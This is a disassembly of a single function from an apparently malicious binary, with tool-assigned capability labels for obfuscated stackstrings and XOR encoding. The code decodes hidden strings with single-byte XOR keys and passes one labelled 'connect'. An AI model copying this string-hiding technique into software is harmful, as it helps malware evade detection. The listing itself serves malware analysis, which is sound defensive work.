Function at 0x441885
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push 0xa4
mov eax, 0x46eeaa
call fcn.0046c4ec
xor ecx, ecx
mov byte [ebp - 0x20], 0x2a
inc ecx
mov dword [ebp - 0x1e], 0x131a1a17
mov al, 0x76
mov byte [ebp - 0x1f], cl
movsx ecx, al
xor ebx, ebx
mov byte [ebp - 0x48], al
mov dword [ebp - 0x1a], 0x17125802
mov word [ebp - 0x16], 2
call fcn.0043e927
push 8
mov dword [ebp - 0xa8], eax
mov edx, ebx
pop edi
push edx
lea ecx, [ebp - 0xa8]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, edi
jl 0x4418cc
push 0xb
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x48]
mov dword [ebp - 0x24], eax
call fcn.0043e927
mov dword [ebp - 0xa8], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa8]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, edi
jl 0x441905
push dword [0x4874a0]
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x24]
call fcn.0043ecf9
mov esi, eax
test esi, esi
jne 0x441937
mov esi, ebx
jmp 0x441948
mov cl, byte [ebp - 0x48]
mov eax, ebx
xor byte [esi + eax], cl
inc eax
cmp eax, 0xb
jb 0x44193c
mov byte [esi + 0xb], bl
mov al, 0x15
mov dword [ebp - 0x20], 0x51676166
movsx ecx, al
mov byte [ebp - 0x48], al
mov dword [ebp - 0x1c], 0x51746174
mov word [ebp - 0x18], 0x677c
mov byte [ebp - 0x16], bl
call fcn.0043e927
mov dword [ebp - 0xa8], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa8]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, edi
jl 0x441974
push 0xa
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x48]
mov dword [ebp - 0x24], eax
call fcn.0043e927
mov dword [ebp - 0xa8], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa8]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x44], eax
inc edx
pop ecx
cmp edx, edi
jl 0x4419ad
push dword [0x4874a0]
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x24]
call fcn.0043ecf9
test eax, eax
jne 0x4419dd
mov eax, ebx
jmp 0x4419ee
mov dl, byte [ebp - 0x48]
mov ecx, ebx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 0xa
jb 0x4419e2
mov byte [eax + 0xa], bl
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xb0], esp
push eax
call fcn.00450b02
mov dword [ebp - 4], ebx
mov al, 3
movaps xmm0, xmmword [0x47e0b0]
movsx ecx, al
mov byte [ebp - 0x5c], al
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0x6a415f6d
mov dword [ebp - 0x20], 0x6a6c6077
mov dword [ebp - 0x1c], 0x77522e6d
mov byte [ebp - 0x18], bl
call fcn.0043e927
mov dword [ebp - 0xa8], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa8]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x58], eax
inc edx
pop ecx
cmp edx, edi
jl 0x441a3a
push 0x1c
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x5c]
mov dword [ebp - 0x38], eax
call fcn.0043e927
mov dword [ebp - 0xa8], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa8]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x58], eax
inc edx
pop ecx
cmp edx, edi
jl 0x441a73
push dword [0x4874a0]
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x38]
call fcn.0043ecf9
test eax, eax
jne 0x441aa3
mov eax, ebx
jmp 0x441ab4
mov dl, byte [ebp - 0x5c]
mov ecx, ebx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 0x1c
jb 0x441aa8
mov byte [eax + 0x1c], bl
sub esp, 0x18
mov ecx, esp
push eax
call fcn.00450b02
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa4]
mov edx, connect
call fcn.0044096b
push esi
mov edx, eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x74]
call fcn.00451348
add esp, 0x34
lea ecx, [ebp - 0xa4]
call fcn.00450a63
mov byte [ebp - 4], 4
lea edx, [ebp - 0x74]
mov byte [ebp - 0xa8], bl
lea ecx, [ebp - 0x8c]
push dword [ebp - 0xa8]
call fcn.00452662
pop ecx
lea ecx, [ebp - 0x8c]
mov byte [ebp - 4], 5
call fcn.0043ff6d
lea ecx, [ebp - 0x8c]
mov byte [ebp - 0xa9], al
mov byte [ebp - 4], 4
call fcn.00450c8d
cmp byte [ebp - 0xa9], 0
je 0x441c3a
cmp dword [ebp - 0x60], 0x10
lea esi, [ebp - 0x74]
movaps xmm0, xmmword [0x47dd70]
mov al, 0x63
cmovae esi, dword [ebp - 0x74]
movsx ecx, al
mov byte [ebp - 0x5c], al
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0x3f06110c
mov dword [ebp - 0x20], 0xf0f0214
mov dword [ebp - 0x1c], 0x74d1706
mov word [ebp - 0x18], 0x1702
mov byte [ebp - 0x16], bl
call fcn.0043e927
mov dword [ebp - 0xa8], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa8]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x58], eax
inc edx
pop ecx
cmp edx, edi
jl 0x441b8c
push 0x1e
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.0043ec83
movsx ecx, byte [ebp - 0x5c]
mov dword [ebp - 0x38], eax
call fcn.0043e927
mov dword [ebp - 0xa8], eax
mov edx, ebx
push edx
lea ecx, [ebp - 0xa8]
call fcn.0043e966
mov dword [ebp + edx*4 - 0x58], eax
inc edx
pop ecx
cmp edx, edi
jl 0x441bc5
push dword [0x4874a0]
lea eax, [ebp - 0x58]
push eax
push dword [ebp - 0x38]
call fcn.0043ecf9
test eax, eax
jne 0x441bf5
mov eax, ebx
jmp 0x441c06
mov dl, byte [ebp - 0x5c]
mov ecx, ebx
xor byte [ecx + eax], dl
inc ecx
cmp ecx, 0x1e
jb 0x441bfa
mov byte [eax + 0x1e], bl
mov ecx, dword [0x48726c]
mov edx, eax
push 2
push ebx
push esi
call fcn.0042dc39
mov al, byte [0x487235]
add esp, 0xc
movzx ecx, al
test al, al
push 1
pop eax
cmove ecx, eax
mov byte [0x487235], cl
jmp 0x441c3a
cmp dword [ebp - 0x60], 0x10
lea eax, [ebp - 0x74]
mov dword [ebp - 0x64], ebx
lea ecx, [ebp - 0x74]
cmovae eax, dword [ebp - 0x74]
mov byte [eax], bl
call fcn.00450a63
call fcn.0046c439
ret